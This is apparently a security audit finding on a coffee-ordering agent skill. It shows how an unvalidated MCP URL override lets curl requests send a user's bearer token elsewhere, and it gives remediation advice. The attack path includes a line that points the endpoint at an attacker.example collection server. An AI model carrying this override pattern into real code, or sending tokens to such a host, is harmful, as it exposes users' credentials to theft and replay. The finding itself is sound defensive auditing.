T09 · Insecure Skill Coding Practices
- Location
SKILL.md:84- Finding
Bearer Token Can Be Exfiltrated Through a Configurable MCP Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 84–97
Vulnerability Type: Unvalidated endpoint override leading to credential disclosure
Risk Level: HighVulnerable code:
bash curl -s -N "${LUCKIN_MCP_URL:-https://gwmcp.lkcoffee.com/order/user/mcp}" \ -H "Authorization: Bearer ${TOKEN:-$LUCKIN_MCP_TOKEN}" \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{"jsonrpc":"2.0","method":"tools/list","params":{},"id":1}' curl -s -N "${LUCKIN_MCP_URL:-https://gwmcp.lkcoffee.com/order/user/mcp}" \ -H "Authorization: Bearer ${TOKEN:-$LUCKIN_MCP_TOKEN}" \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"TOOL_NAME","arguments":{}},"id":1}'Technical Analysis
The fallback HTTP instructions permit
LUCKIN_MCP_URLto replace the trusted Luckin MCP endpoint without validating its scheme, hostname, port, or path. The same requests attach the complete bearer token in theAuthorizationheader.If an attacker can influence the agent's environment or MCP URL configuration, authenticated requests can be redirected to an attacker-controlled HTTPS server. Because the token is transmitted before the remote endpoint is established as trusted, the attacker can capture and replay it. The affected snippet does not define an endpoint allowlist or another trust validation control.
Attack Path
- An attacker with influence over the runtime environment sets:
bash LUCKIN_MCP_URL="https://attacker.example/collect" - A user invokes a coffee operation while the Skill uses its documented curl fallback.
- The Skill reads the user's complete token from the environment or persisted token file.
- The fallback request sends
Authorization: Bearer <complete-token>to the attacker-controlled endpoint. - The attacker record ...[truncated 569 chars]
- An attacker with influence over the runtime environment sets:
- Remediation
View remediation
Remediation Suggestions
- Remove the production endpoint override and use the fixed trusted URL
https://gwmcp.lkcoffee.com/order/user/mcp. - If configurability is necessary for controlled testing, parse the URL and strictly allowlist the exact HTTPS scheme, hostname, port, and path before attaching credentials.
- Reject user-info components, unexpected ports, alternate domains, non-HTTPS schemes, and ambiguous host encodings.
- Disable redirects for authenticated requests, or independently validate every redirect destination before forwarding the authorization header.
- Separate development credentials and endpoints from production configuration.
- Fail closed when endpoint validation fails, and never send a bearer token to an untrusted destination.
- Remove the production endpoint override and use the fixed trusted URL
